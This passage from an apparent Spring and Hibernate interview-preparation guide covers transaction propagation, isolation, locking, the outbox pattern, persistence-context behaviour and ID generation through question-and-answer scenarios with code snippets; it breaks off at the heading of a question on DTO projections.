#requires-new #outcomes

Q7 When does `NESTED` propagation work, and what happens to outer data when the nested part fails?

ADVANCED

`NESTED` creates a JDBC savepoint inside the existing transaction. If the nested part throws and you catch it, Spring rolls back to the savepoint and the outer work continues and can commit; the whole thing is still one physical transaction and one connection.

- Works with `DataSourceTransactionManager` and `JpaTransactionManager` only when the JDBC driver supports savepoints.
- Hibernate: after a rollback to savepoint the persistence context may be in an inconsistent state (entities from the failed part are still managed), so `NESTED` with JPA is risky; JDBC-based code is cleaner.
- If the outer transaction rolls back, nested work rolls back too.

FOLLOW-UP TRAPS

- **Is `NESTED` the same as `REQUIRES_NEW`?** No: one connection and outer rollback undoes it versus separate transaction and independent commit.
- **Is `NESTED` supported by `JtaTransactionManager`?** Generally no.

#nested #savepoint

Q8 Two concurrent transactions read a balance then update it, and money disappears. Which isolation and what else can you do?

ADVANCED

This is a lost update: both read the same value, and the last write wins. `READ_COMMITTED` does not prevent it. Options: optimistic locking (`@Version`, retry on `ObjectOptimisticLockingFailureException`), pessimistic locking (`SELECT ... FOR UPDATE` via `@Lock(PESSIMISTIC_WRITE)`), an atomic update (`UPDATE account SET balance = balance - :x WHERE id = :id AND balance >= :x`), or `SERIALIZABLE` with retry.

- Phenomena by level: dirty read (READ_UNCOMMITTED), non-repeatable read and phantom (READ_COMMITTED), phantom (REPEATABLE_READ in the standard; PostgreSQL's snapshot isolation prevents phantoms but permits write skew).
- Defaults: PostgreSQL and Oracle READ_COMMITTED, MySQL InnoDB REPEATABLE_READ.

FOLLOW-UP TRAPS

- **Does Spring's `isolation` attribute always take effect?** Only when starting a new transaction, and the DB/driver must support it; for a joined transaction it is ignored (unless validation is enabled).
- **Does the atomic UPDATE need a transaction?** It is atomic by itself, but you need one to combine it with other writes.

#isolation #lost-update

Q9 What does `@Transactional(readOnly = true)` actually do? INTERMEDIATE

It is a hint, not an enforcement. With Hibernate it sets the session flush mode to `MANUAL` (no dirty checking flush at commit, skipping snapshot comparison), and passes `Connection.setReadOnly(true)` so some drivers and routing datasources send it to a replica. Writes may still succeed on some databases.

- Benefits: less memory and CPU for large result sets, safer read paths, replica routing.
- Pitfalls: a nested `readOnly=false` call joining a `readOnly=true` outer transaction does not become writable, and writes may be silently not flushed.
- PostgreSQL enforces read-only (`cannot execute INSERT in a read-only transaction`); MySQL behaviour varies.

FOLLOW-UP TRAPS

- **Does `readOnly` mean no transaction?** No, a transaction still begins.
- **Does it make queries faster by itself?** Mostly via skipped flush; the DB gains little unless it uses replicas.

#readonly #hibernate #optimization

Q10 A method annotated `@Transactional(timeout = 5)` still runs for 30 seconds. Why? INTERMEDIATE

Spring's timeout is a deadline checked when it next interacts with the resource (Spring sets the JDBC statement query timeout or checks before the next statement/flush). Pure CPU work, remote HTTP calls, or `Thread.sleep` inside the method do not consume or trigger it.

- It applies only to the transaction's database operations; the `TransactionTimedOutException` appears at the next DB call after expiry.
- Also set connection-level and statement timeouts (`socketTimeout`, `jakarta.persistence.query.timeout`) and HTTP client timeouts.
- Does not apply to joined participating transactions; the outer defines it.

FOLLOW-UP TRAPS

- **Is the timeout in milliseconds?** Seconds.
- **Does it apply to joined methods?** Only if the new transaction is created (REQUIRED joins don't reapply).

#timeout

Q11 Calling an external HTTP API inside a long `@Transactional` method degrades the whole service. Why, and how do you restructure? INTERMEDIATE

Under Hibernate, the transaction (and typically the connection, depending on release mode) is held for the duration of the call. Slow remote calls hold pooled connections and row locks, so the pool exhausts and other requests wait, causing cascading timeouts.

- Do the remote call outside the transaction, then open a short transaction for the DB write (`TransactionTemplate` or a separate bean).
- If the remote result must be atomic with DB changes, use the outbox or a saga rather than a long transaction.
- Monitor with Hikari metrics (`hikaricp.connections.pending`, `usage`).

FOLLOW-UP TRAPS

- **Does open-in-view worsen this?** Yes, the connection can be held during view rendering unless disabled.
- **Is increasing the pool size a fix?** It only moves the limit.

#connection-pool #design

Q12 An `@Async` method is called inside a transaction and the data it reads is missing. Why? ADVANCED

Transactions are bound to the thread via `TransactionSynchronizationManager` (ThreadLocal). The `@Async` method runs on another thread with no transaction (or its own, if annotated), and the caller's data is not committed yet, so it is invisible under READ_COMMITTED.

- Trigger async work after commit, via `@TransactionalEventListener(phase = AFTER_COMMIT)` or `TransactionSynchronization.afterCommit`.
- Pass ids, not entities, to async methods; load in the new transaction (detached entities cause `LazyInitializationException`).
- Security context and MDC also need explicit propagation (`DelegatingSecurityContextAsyncTaskExecutor`, `TaskDecorator`).

FOLLOW-UP TRAPS

- **Does `@Transactional` on the `@Async` method join the caller?** No, it starts a new transaction on the new thread.
- **Do virtual threads change this?** No, still thread-bound.

#async #thread-bound

Q13 What is the difference between `@EventListener` and `@TransactionalEventListener`, and what is the AFTER_COMMIT gotcha? ADVANCED

`@EventListener` runs synchronously inside the publisher's transaction; its failure rolls the publisher back. `@TransactionalEventListener` is bound to a phase of the current transaction: `BEFORE_COMMIT`, `AFTER_COMMIT` (default), `AFTER_ROLLBACK`, `AFTER_COMPLETION`.

- If no transaction is active when the event is published, the listener is skipped unless `fallbackExecution = true`.
- In `AFTER_COMMIT`, the original transaction is committed but its resources may still be bound; DB work in the listener needs `@Transactional(propagation = REQUIRES_NEW)` or the changes are never committed (Spring 6.1 requires explicit propagation for writes).
- An exception in AFTER_COMMIT does not roll back the already committed data and is only logged.

FOLLOW-UP TRAPS

- **Is delivery guaranteed?** No; a crash after commit loses the event, which is why the outbox exists.
- **Can the listener be `@Async`?** Yes, combine with `@Async` for non-blocking post-commit work.

#events #transactional-event-listener

Q14 How do you run code right after commit without events, and what are the callback semantics? INTERMEDIATE

Register a `TransactionSynchronization` on the current transaction.

```
TransactionSynchronizationManager.registerSynchronization(new TransactionSynchronization() {
    @Override public void afterCommit() { publisher.publish(orderId); }
});
```

Callbacks: `beforeCommit`, `beforeCompletion`, `afterCommit`, `afterCompletion(status)`. Registration requires an active synchronization (`isSynchronizationActive()`), otherwise `IllegalStateException`.

- Exceptions in `afterCommit` propagate to the caller but cannot undo the commit.
- Use for cache eviction, sending messages after success, or releasing resources.

FOLLOW-UP TRAPS

- **Which callback gets the final status?** `afterCompletion`, with `STATUS_COMMITTED` or `STATUS_ROLLED_BACK`.
- **Can `afterCommit` do DB writes in the same transaction?** No, the transaction is over; start a new one.

#transactionsynchronization

Q15 Your service writes to the DB and publishes to Kafka in one method. A crash between them leaves systems inconsistent. How do you fix it? ADVANCED

Use the transactional outbox pattern: in the same local DB transaction, write the business rows and an `outbox` row (event payload). A separate relay (poller or CDC such as Debezium) publishes outbox rows to the broker and marks them sent. This gives at-least-once delivery, so consumers must be idempotent.

```
@Transactional
public void place(Order o) {
    orders.save(o);
    outbox.save(new OutboxEvent("OrderPlaced", o.getId(), json(o)));
}
```

Alternatives: 2PC/XA (poor availability and brokers rarely support it), sagas for multi-service workflows with compensations.

FOLLOW-UP TRAPS

- **Can I just publish in `AFTER_COMMIT`?** It narrows but does not close the gap: a crash after commit loses the message.
- **Does the outbox give exactly-once?** No, at-least-once plus idempotent consumers (dedupe by event id).

#outbox #distributed-transactions #consistency

Q16 `LazyInitializationException: could not initialize proxy – no Session` appears in a controller. How do transactions relate? BASIC

The lazy association is accessed after the transaction (and persistence context) closed, so Hibernate cannot load it. The session lives only for the transaction unless Open Session In View is on.

Fixes, in order: fetch what you need inside the service (`JOIN FETCH`, `@EntityGraph`), map to a DTO inside the transaction, or use a projection query. Avoid enabling `open-in-view` or `enable_lazy_load_no_trans`, which cause N+1 queries and long-held connections.

FOLLOW-UP TRAPS

- **Is making associations `EAGER` a fix?** It causes over-fetching and N+1 elsewhere; prefer explicit fetches.
- **Does the default `spring.jpa.open-in-view=true` hide the problem?** Yes, Boot warns about it at startup; set it false.

#lazy-loading #hibernate #session

Q17 Why can marking the controller `@Transactional` be worse than the service layer? INTERMEDIATE

Transaction boundaries should wrap a business use case: after validation and before response serialization. At controller level, the transaction also spans request parsing, serialization, and slow downstream calls, holding connections longer and mixing transport concerns with data consistency.

- A rollback caused by serialization failing after commit logic is confusing.
- Service-level transactions can be reused by jobs, listeners, and tests.
- Use one transactional facade per use case and keep inner services `REQUIRED` or `MANDATORY` when they must not run alone.

FOLLOW-UP TRAPS

- **Should repositories be transactional boundaries?** Their methods are transactional individually; multi-repository operations need the service boundary.
- **Is a long service method with many repo calls atomic without `@Transactional`?** No, each repo call commits separately.

#design #transaction-boundaries

Q18 After `repo.save(entity)` and changing a field with no second `save`, the DB still updates. Why? INTERMEDIATE

Inside a transaction, entities loaded or saved are managed. Hibernate compares their state with the snapshot at flush (before commit or before queries) and issues `UPDATE` automatically (dirty checking). No explicit `save` is needed for managed entities.

- Outside a transaction (or with `readOnly=true`), changes are not flushed.
- `save()` on a detached entity does `merge`, returning a different managed instance; keep using the returned object.
- `flush` timing: `FlushModeType.AUTO` flushes before JPQL queries touching the affected tables.

FOLLOW-UP TRAPS

- **Does `save` run SQL immediately?** Not necessarily; IDENTITY ids force an immediate insert, but SEQUENCE ids defer until flush.
- **When do constraint violations surface?** At flush/commit, not at `save`, which can surprise try/catch placement.

#persistence-context #dirty-checking

Q19 A `try/catch` around `repo.save()` is meant to handle `DataIntegrityViolationException` but never triggers. Why? ADVANCED

The SQL executes at flush time, usually at transaction commit, which happens after your method returns (in the proxy). The exception therefore surfaces to the caller of the transactional method, outside your try/catch.

Options: call `saveAndFlush()` / `entityManager.flush()` inside the try; catch at the layer calling the transactional service; or handle in `@ControllerAdvice` mapping to 409. After a persistence exception the Hibernate session is unusable and the transaction is marked rollback-only, so retry in a new transaction.

FOLLOW-UP TRAPS

- **Can I continue using the session after a flush failure?** No, the entity state is undefined.
- **Which exception type is thrown?** Spring translates to `DataIntegrityViolationException` via `PersistenceExceptionTranslationPostProcessor` for `@Repository` beans.

#flush #exception-translation

Q20 Two `DataSource`s (orders DB and billing DB) are updated in one method. What does `@Transactional` do? ADVANCED

`@Transactional` uses one `PlatformTransactionManager` (the primary, or the one named in `@Transactional("billingTm")`). Only that datasource is in the transaction; writes to the other autocommit, so a failure leaves them inconsistent.

- `ChainedTransactionManager` is deprecated and removed in Spring Data 3.x, and gave only best-effort commit.
- Options: JTA/XA (Atomikos, Narayana; heavy, 2PC), an eventually consistent saga with compensation, or the outbox between the two.
- Declare multiple managers explicitly and mark one `@Primary`, otherwise `NoUniqueBeanDefinitionException`.

FOLLOW-UP TRAPS

- **Does Boot create a transaction manager per datasource?** No, only for its auto-configured one.
- **Is best-effort 1PC safe?** No; the second commit can still fail after the first succeeded.

#multiple-datasources #transaction-manager

Q21 A scheduled job loads 1M rows in a `@Transactional` method and the app runs out of memory. What is the fix? INTERMEDIATE

The persistence context holds every loaded entity (plus snapshots) for the whole transaction. Process in chunks with a small transaction per chunk, clear the context (`em.flush(); em.clear();`) periodically, or use projections/streaming read-only queries.

- Chunk by keyset (id range), commit per chunk via `TransactionTemplate`; failures then affect one chunk.
- Set `hibernate.jdbc.batch_size` and `order_inserts` for writes; IDENTITY generation disables insert batching.
- For serious batch work, consider Spring Batch with chunk-oriented steps and restartability.

FOLLOW-UP TRAPS

- **Does `Stream<Entity>` from a repository release memory?** Only if you detach/clear as you go and the connection fetch size is set.
- **Is one big transaction faster?** Fewer commits, but locks, undo/redo growth, and failure blast radius grow.

#batch #persistence-context #memory

Q22 `@Transactional` on a `@Scheduled` method does not roll back or does not start. What do you check? INTERMEDIATE

`@Scheduled` methods are invoked by the scheduler on the bean from the context. If the bean is proxied (transactional), the scheduler calls through the proxy, so it usually works. Problems come from self-invocation (a scheduled method calling a private/`this` transactional method), a non-proxyable class, or an exception swallowed in the job.

- Each run is a fresh transaction on a scheduler thread; the default scheduler has a single thread, so one slow job blocks others (`spring.task.scheduling.pool.size`).
- In multi-instance deployments the job runs on every node; use ShedLock or a leader/DB lock.

FOLLOW-UP TRAPS

- **Does a `@Scheduled` exception stop future runs?** No, it is logged and the next run proceeds.
- **Does `fixedRate` overlap runs?** On one thread no; with a pool it can.

#scheduling #proxy

Q23 What happens if you call `repo.findById()` twice in the same transaction versus two separate transactions? BASIC

In one transaction the second call returns the same managed instance from the first-level cache without a second SQL query (for `findById`; JPQL queries always hit the DB but resolve to the same instances). In two transactions, two persistence contexts load two separate instances, each with its own SQL.

- The cache is per `EntityManager`, scoped to the transaction.
- Within a REPEATABLE_READ/READ_COMMITTED transaction, repeated queries may show different DB state, but the entity returned for a loaded id stays the stale managed copy; use `refresh` to re-read.

FOLLOW-UP TRAPS

- **Does a JPQL query refresh already-managed entities?** No, Hibernate returns the managed instance and ignores newer column values.
- **Is the first-level cache shared across threads?** No.

#first-level-cache #persistence-context

Q24 **In tests, a `@Transactional` test method passes but production fails with `LazyInitializationException` or missing commit behaviour. Why?** ADVANCED

`@Transactional` on a Spring test wraps the whole test in a transaction that is rolled back at the end. That keeps one persistence context open across test code, hiding lazy-loading errors, and never commits, so `AFTER_COMMIT` listeners, DB triggers, constraint checks at commit, and outbox pollers never run.

- For such behaviour, omit `@Transactional` on the test and clean data explicitly, or use `@Commit` / `TestTransaction.flagForCommit()`.
- Use Testcontainers to match the real DB's isolation and constraints rather than H2.
- `@DataJpaTest` is transactional and rolls back by default.

> **FOLLOW-UP TRAPS**
> - **Why does a `REQUIRES_NEW` call not see test data?** Its separate transaction cannot see uncommitted test data.
> - **Does `@Rollback(false)` behave like production?** It commits at test end only, still different from request-scoped transactions.

#testing #test-transactions

Q25 **Distinguish pessimistic and optimistic locking, and describe retry handling when an optimistic conflict occurs.** INTERMEDIATE

Optimistic locking uses a `@Version` column; the update statement includes `WHERE version = ?`, and a mismatch throws `ObjectOptimisticLockingFailureException`. It suits low-contention data. Pessimistic locking (`@Lock(PESSIMISTIC_WRITE)` -> `SELECT ... FOR UPDATE`) blocks others and suits high contention or short critical sections.

- Retry the entire transaction (not just the failed statement) with a bounded count and jitter; `@Retryable` (spring-retry) must wrap the transactional proxy, so set `@EnableRetry(order)` / aspect order so retry is outside the transaction.
- Pessimistic lock timeouts: `jakarta.persistence.lock.timeout` hint; use `SKIP LOCKED` for work queues.

> **FOLLOW-UP TRAPS**
> - **Where should `@Retryable` sit relative to `@Transactional`?** Outside, so every attempt gets a fresh transaction.
> - **Does `@Version` protect against bulk JPQL updates?** No, unless you increment it manually.

#locking #version #retry

Q26 **A deadlock error appears under load: two requests update the same two rows in opposite order. How do you prevent and handle it?** ADVANCED

The DB aborts one victim (`DeadlockLoserDataAccessException` / `CannotAcquireLockException`). Prevent by acquiring locks in a consistent global order (for example, sort ids ascending before updating), keeping transactions short, and using appropriate indexes so fewer rows are locked.

- Handle by retrying the whole transaction on deadlock exceptions.
- Avoid user interaction or remote calls inside the transaction.
- Inspect with DB tools (`SHOW ENGINE INNODB STATUS`, `pg_locks` / `pg_stat_activity`).

> **FOLLOW-UP TRAPS**
> - **Can a single-row update deadlock?** Yes, with gap locks or foreign key checks on parent rows.
> - **Is a larger timeout a fix?** No, deadlocks are detected immediately; timeouts relate to lock waits.

#deadlock #locking-order

Q27 How do you configure the transaction manager and what does Boot create for you?

BASIC

Boot auto-configures `JpaTransactionManager` when JPA is present (otherwise `DataSourceTransactionManager` for JDBC) and enables `@EnableTransactionManagement` through `TransactionAutoConfiguration`; no annotation is needed.

- `JpaTransactionManager` binds both the `EntityManager` and the JDBC connection, so JdbcTemplate and JPA calls share one transaction in the same `DataSource`.
- Proxy type follows `spring.aop.proxy-target-class` (true by default).
- Reactive apps use `ReactiveTransactionManager` (R2DBC); the thread-bound model does not apply.

FOLLOW-UP TRAPS

- **Does `@Transactional` work with WebFlux and JPA?** No, JPA is blocking and thread-bound; use R2DBC with reactive transactions.
- **Does JdbcTemplate join a JPA transaction?** Yes with `JpaTransactionManager` on the same DataSource and a compatible dialect.

#transaction-manager #autoconfiguration

SPRING & HIBERNATE · CHAPTER 5

Hibernate & JPA Internals

Entity states, persistence context, flush and dirty checking, merge vs persist, ID generation, mapping pitfalls, inheritance, locking, batching, projections and open-in-view, through real-world scenarios.

28 questions **9** basic **12** intermediate **7** advanced

Scenarios

Q1 **You load an entity inside a `@Transactional` method, change a setter, and never call `save()`. What happens?** BASIC

The change is written to the database at flush/commit. A managed entity is tracked by the persistence context, and at flush Hibernate compares its current state with the snapshot taken at load time (dirty checking) and issues an `UPDATE`.

- `save()` on a managed entity is effectively a no-op for updates.
- Without a surrounding transaction (and with open-in-view only), the entity is still managed for the request, but nothing flushes it, so the change is silently lost.

FOLLOW-UP TRAPS

- **Does Hibernate update only the changed column?** No, by default it updates all columns; `@DynamicUpdate` restricts the SET clause to changed ones.
- **What if the method is `@Transactional(readOnly = true)`?** Spring sets flush mode to MANUAL for the session (Hibernate), so no flush happens and the change is not persisted.

#dirty-checking #persistence-context

Q2 **A `@Transactional` method calls `repository.save(entity)` and then runs a JPQL query for the same table. Does the query see the unsaved change?** INTERMEDIATE

Yes. With `FlushModeType.AUTO` (default), Hibernate flushes pending changes before executing a JPQL/HQL query whose query space overlaps the dirty entities, so the query sees them inside the same transaction.

- Native SQL queries: Hibernate 6 flushes only when it can determine affected tables; with JPA-bootstrapped sessions native queries trigger a full flush, but with plain Hibernate API they may not. Add `addSynchronizedQuerySpace` or call `flush()` explicitly if in doubt.
- With `FlushMode.COMMIT` the query would not see the change.

FOLLOW-UP TRAPS

- **Does the flush commit the data?** No. The SQL is sent but remains inside the open transaction until commit/rollback.
- **Why might a query cause an unexpected UPDATE?** Auto flush before the query writes any dirty entity.

#flush-mode #auto-flush

Q3 **`save()` is called with an entity that has an ID set and `@Version` is null on a new object. What does Spring Data JPA do and what can break?** INTERMEDIATE

`SimpleJpaRepository.save` calls `entityInformation.isNew(entity)`. With a wrapper-type `@Version` field, new means version is null, so `persist` is chosen; with no version, new means ID is null. If neither indicates new, it calls `merge`.

- Assigned IDs (e.g. UUID set by the app) and no `@Version`: `isNew` is false, so `merge` runs, issuing an extra `SELECT` before the `INSERT`.
- Fix: add a `@Version Long version` field, or implement `Persistable<ID>` with a transient `isNew` flag.
- A primitive `long` version is never null, so Spring checks it differently (new if 0 in some versions), which is error-prone; use the wrapper type.

FOLLOW-UP TRAPS

- **Why do I see a SELECT before every INSERT?** Because `merge` is used for an entity with a preassigned ID.
- **Does `save()` return the same instance?** For persist yes; for merge it returns a different managed copy, and the argument stays detached.

#persist #merge #spring-data #isnew

Q4 You call `em.merge(detachedOrder)` and then keep modifying `detachedOrder`. Are changes saved? INTERMEDIATE

No. `merge` copies the state of the detached instance onto a managed instance (loaded or created) and returns that managed instance; the original argument stays detached. Later changes must be made on the returned object.

```
Order managed = em.merge(detached);
managed.setStatus(PAID);   // tracked
detached.setStatus(SHIPPED); // ignored
```

- Merge overwrites all persistent fields, including nulls, so a partial DTO mapped onto a fresh entity can wipe columns.
- Cascade `MERGE` propagates to associations; missing cascade means detached children are merged only by reference (ID).

FOLLOW-UP TRAPS

- **Persist vs merge on a detached entity?** `persist` throws `PersistentObjectException: detached entity passed to persist`.
- **Does merge issue a SELECT?** Yes, unless the instance is already in the persistence context or the entity is new.

#merge #entity-states

Q5 Two lookups `findById(1L)` happen in the same transaction. How many SQL statements run and why does `==` return true? BASIC

One SELECT. The persistence context (first-level cache) holds one managed instance per entity identity (type + ID), so the second `find` returns the same Java object and `==` is true.

- Scope is the `EntityManager`/transaction; a new transaction gets a new context.
- JPQL queries still hit the database but, when rows map to already managed entities, return the existing instances and ignore fresher column values.

FOLLOW-UP TRAPS

- **Another process updates the row between two JPQL queries in one transaction; do you see the new values?** Not for entities already in the context; use `em.refresh(entity)` or detach.
- **Does the first-level cache work across threads?** No, it is per session and not thread-safe.

#first-level-cache #persistence-context

Q6 Your batch job loads 500,000 entities in one transaction and memory explodes. How do you fix it?

INTERMEDIATE

The persistence context keeps every loaded entity plus its snapshot until the session closes. Process in chunks, flushing and clearing between chunks, or avoid entities (DTO projection, JDBC, `StatelessSession`).

```
for (int i = 0; i < ids.size(); i++) {
    process(em.find(Item.class, ids.get(i)));
    if (i % 100 == 99) { em.flush(); em.clear(); }
}
```

- Prefer paging by keyset (`where id > :last order by id limit :n`) with one transaction per chunk.
- Use read-only queries (`@QueryHints(READ_ONLY)`) to skip snapshots.

FOLLOW-UP TRAPS

- **Does `clear()` without `flush()` lose changes?** Yes, pending dirty changes are discarded.
- **Does stream-returning repository method avoid memory use?** Only if you also detach/clear; entities still accumulate in the context.

#persistence-context #batch #memory

Q7 Why does `GenerationType.IDENTITY` disable JDBC batching for inserts, and what is the alternative?

INTERMEDIATE

With IDENTITY the ID exists only after the INSERT executes, so Hibernate must run each insert immediately to learn the ID and cannot defer and batch them.

- Use `SEQUENCE` with a pooled optimizer and `allocationSize` matching the DB sequence `INCREMENT BY`, so one sequence call serves ~50 inserts.
- Enable batching: `spring.jpa.properties.hibernate.jdbc.batch_size=50`, `order_inserts=true`, `order_updates=true`.
- MySQL has no sequences; options are a table generator (poor concurrency), app-generated UUID/ULID, or accept no insert batching.

FOLLOW-UP TRAPS

- **`allocationSize` is 50 in the entity but the sequence increments by 1; what breaks?** Duplicate key errors or ID gaps/overlaps across instances; they must match.
- **Does `rewriteBatchedStatements` matter?** For MySQL Connector/J yes, it turns batches into multi-row inserts.

#id-generation #identity #batch-insert

Q8 You enabled `batch_size=50` but the SQL log still shows one INSERT per row. List causes.

ADVANCED

Typical causes: IDENTITY generator; entities of different types interleaved (cascade) without `order_inserts=true`; periodic `flush()` after every save; `saveAll` on entities that are not new (merge does SELECT first); logging misleading you.

- The SQL log (`show_sql`) prints statements pre-batch; verify batching with a datasource proxy (datasource-proxy, p6spy) or compare `Statistics#getPrepareStatementCount` with the entity insert count when `hibernate.generate_statistics` is on.
- Version column with optimistic locking prevents batching of updates only on old Hibernate versions without `batch_versioned_data` (default true since 5).

FOLLOW-UP TRAPS

- **Does `JdbcTemplate.batchUpdate` have the same limits?** No, it bypasses entities and the ID generator.
- **Does a bigger batch size always help?** No, large batches stress memory and DB limits; 20 to 100 is common.

#batch-insert #debugging

Q9 How should `equals` and `hashCode` be implemented for a JPA entity with a generated ID? ADVANCED

Never base them on a generated ID that is null before persist, since the hash changes after `persist` and breaks `HashSet` membership. Use a business key if one is immutable, otherwise a constant `hashCode` plus ID-based `equals` that handles proxies.

```
@Override public boolean equals(Object o) {
    if (this == o) return true;
    if (!(o instanceof Customer other)) return false;
    return id != null && id.equals(other.getId());
}
@Override public int hashCode() { return getClass().hashCode(); }
```

- `instanceof` (not `getClass()`) because lazy proxies are subclasses; use getters, not fields, on `other`.
- Constant hashCode is O(n) in huge sets but safe; assigned UUID at construction avoids the problem entirely.
- Lombok `@Data` on entities pulls in all fields including lazy collections and causes loading or recursion.

FOLLOW-UP TRAPS

- **Is a `HashSet<Child>` in `@OneToMany` affected?** Yes, adding unsaved children with ID-based hashCode corrupts the set after ID assignment.
- **Does `getClass() !=` break equals for proxies?** Yes, a proxy never equals the real class.

#equals-hashcode #entities

Q10 A bidirectional `@OneToMany` / `@ManyToOne` is saved but the foreign key column is null. Why? BASIC

Hibernate writes the FK from the owning side, the side without `mappedBy` (the `@ManyToOne`). If you only add the child to the parent's collection and never set `child.setParent(parent)`, the FK stays null.

- Keep both sides in sync with helper methods `addChild` / `removeChild`.
- Unidirectional `@OneToMany` with `@JoinColumn` works, but issues extra UPDATE statements; without `@JoinColumn` it creates a join table.

FOLLOW-UP TRAPS

- **Which side should be `@ManyToOne`'s fetch default?** EAGER by default; set `fetch = LAZY`.
- **Does `mappedBy` create a column?** No, it refers to the owning field.

#onetomany #mappedby #owning-side

Q11 You remove a child from `parent.getChildren()`, but the row is not deleted. What are the options? INTERMEDIATE

Removing from the collection only unlinks them. With `orphanRemoval = true` on the `@OneToMany`, Hibernate deletes the child row when it is removed from the collection (or when the parent is deleted). Otherwise the FK is nulled (if nullable and owning) or nothing happens for `mappedBy` side.

```
@OneToMany(mappedBy = "parent", cascade = ALL, orphanRemoval = true)
private List<Child> children = new ArrayList<>();
```

- Never replace the collection instance (`setChildren(newList)`) on a managed entity with orphanRemoval; Hibernate throws "A collection with cascade=all-delete-orphan was no longer referenced". Clear and add to the existing collection.

> **FOLLOW-UP TRAPS**
> - **orphanRemoval vs `CascadeType.REMOVE`?** REMOVE deletes children when the parent is removed; orphanRemoval also deletes when a child is detached from the parent.
> - **Can orphanRemoval be used on shared children?** No, only when the parent exclusively owns them.

#orphanremoval #cascade

Q12 **What goes wrong with `CascadeType.ALL` on `@ManyToMany`, and how do you model a many-to-many properly?** INTERMEDIATE

`CascadeType.REMOVE` / `ALL` on `@ManyToMany` deletes the other side, which is shared (deleting a Student deletes Courses other students attend, or fails on FK). Use only `PERSIST` / `MERGE` if at all.

- Use `Set`, not `List`: removing from a `List` of a bag-mapped many-to-many deletes all join rows and re-inserts the rest.
- If the link needs attributes (enrolled date, grade), model an explicit join entity with two `@ManyToOne` (and an `@EmbeddedId` or surrogate key).

> **FOLLOW-UP TRAPS**
> - **Which side owns the join table?** The side without `mappedBy`.
> - **Why is `List` a "bag" and why does it matter?** A bag has no order or ID, so Hibernate cannot update a single element; also two eager bags cause `MultipleBagFetchException`.

#manytomany #cascade #join-table

Q13 **`findAll()` on an entity with `@Inheritance(strategy = TABLE_PER_CLASS)` is slow. Why, and what are the alternatives?** ADVANCED

Polymorphic queries on `TABLE_PER_CLASS` use `UNION ALL` across all subclass tables, and IDENTITY generation is not allowed. It is rarely the right choice.

- `SINGLE_TABLE` (default): one table plus discriminator; fastest queries, but subclass columns must be nullable and the table grows wide.
- `JOINED`: normalized, NOT NULL constraints possible, but each query joins the hierarchy.
- `@MappedSuperclass`: sharing fields only, no polymorphic queries or associations to the parent.

> **FOLLOW-UP TRAPS**
> - **Can you have a `@ManyToOne` to a `@MappedSuperclass`?** No, it is not an entity.
> - **Which gives the best read performance?** `SINGLE_TABLE` generally, at the cost of constraints.

#inheritance #table-per-class #single-table #joined

Q14 **Two users edit the same record; the last save silently overwrites the first. How do you prevent it?** INTERMEDIATE

Add `@Version` (Long/Integer/Instant). Hibernate appends `WHERE id=? AND version=?` to updates and increments the version; zero rows updated means a concurrent change and an `OptimisticLockException` (Spring translates it to `ObjectOptimisticLockingFailureException`).

- In REST, round-trip the version in the DTO/ETag so a stale client is rejected, otherwise the version read at load time in the new request makes the check useless.
- Handle the failure by retrying (`@Retryable`, new transaction) or returning HTTP 409.
- Bulk JPQL updates bypass the version unless `update versioned`.

FOLLOW-UP TRAPS

- **Does the exception occur at `save()` time?** At flush, often at commit, so it may surface outside your try/catch inside the service.
- **Can I catch it inside the same `@Transactional` and continue?** No, the transaction is marked rollback-only and the session state is unreliable.

#optimistic-locking #version

Q15 When would you use `PESSIMISTIC_WRITE` and what happens to concurrent requests? INTERMEDIATE

Use it for high-contention rows where retries are costly (inventory decrement, balance transfer). Hibernate issues `SELECT ... FOR UPDATE`; other transactions locking or updating the row block until commit, or until the lock timeout.

```
@Lock(LockModeType.PESSIMISTIC_WRITE)
@QueryHints(@QueryHint(name = "jakarta.persistence.lock.timeout", value = "3000"))
Optional<Account> findById(Long id);
```

- Always lock in a consistent order to avoid deadlocks (e.g. ascending ID).
- `SKIP LOCKED` (`-2` timeout hint) suits job-queue tables.
- Keep transactions short; locks are held until commit.

FOLLOW-UP TRAPS

- **Does it work outside a transaction?** No, `TransactionRequiredException`.
- **`PESSIMISTIC_READ` vs `WRITE`?** READ allows other shared locks (`FOR SHARE`), WRITE is exclusive.

#pessimistic-locking #select-for-update

Q16 `LockModeType.OPTIMISTIC_FORCE_INCREMENT` vs plain `@Version`: when is the former needed? ADVANCED

Plain `@Version` increments only when the entity's own columns change. If the invariant spans an aggregate (adding an `OrderLine` should conflict with a concurrent change to the `Order`), lock the root with `OPTIMISTIC_FORCE_INCREMENT` so its version is bumped whenever a child changes.

- `OPTIMISTIC` (read lock) only checks the version at commit without incrementing, protecting against read-then-decide anomalies (write skew).
- Child collection changes of an owned collection already bump the parent version unless `@OptimisticLock(excluded = true)`.

FOLLOW-UP TRAPS

- **Does an inverse (`mappedBy`) collection change bump the parent version?** No, only changes to owning collections do.
- **Does optimistic locking prevent write skew automatically?** No, you need `OPTIMISTIC` lock mode or serializable isolation.

#locking #aggregate #force-increment

Q17 Why is `FetchType.EAGER` on `@ManyToOne` the default and how do you change it safely? BASIC

JPA mandates EAGER for `@ManyToOne` and `@OneToOne`, LAZY for collections. Eager to-one associations get loaded by `find` (join) but by JPQL as extra selects (N+1). Set `fetch = LAZY` on all associations and fetch explicitly per use case.

- Lazy to-one on the non-owning side of `@OneToOne` often cannot be proxied (Hibernate must query to know null vs not null) unless using `@MapsId` or bytecode enhancement.
- Lazy proxies make `getClass()` comparisons and final classes/methods problematic.

FOLLOW-UP TRAPS

- **`getReferenceById` vs `findById`?** The first returns a proxy with no SQL until accessed, useful to set an FK without loading.
- **Is LAZY guaranteed?** It is a hint; the provider may load eagerly.

#fetch #manytoone #defaults

Q18 `@GeneratedValue(strategy = AUTO)` behaves differently after upgrading to Hibernate 6. What changed? ADVANCED

Hibernate 6 maps `AUTO` for `Long` to `SEQUENCE` (one sequence per entity named `<entity>_seq`, `allocationSize` 50) on databases that support sequences, instead of the shared `hibernate_sequence` of Hibernate 5. Existing schemas then fail with "sequence not found" or ID collisions.

- Fix: declare `@SequenceGenerator(name=..., sequenceName=..., allocationSize=...)` explicitly, or alter the sequences to `INCREMENT BY 50` and start beyond the current max.
- For MySQL, `AUTO` resolves to IDENTITY. `UUID` types generate UUIDs under AUTO.

FOLLOW-UP TRAPS

- **Does `ddl-auto=validate` catch an increment mismatch?** No, it only checks existence and types.
- **Why prefer explicit strategy?** The behaviour is version-dependent.

#id-generation #hibernate6 #migration

Q19 A REST endpoint loads an entity list and returns only 3 fields, yet performance is poor. How would you use DTO projections? INTERMEDIATE

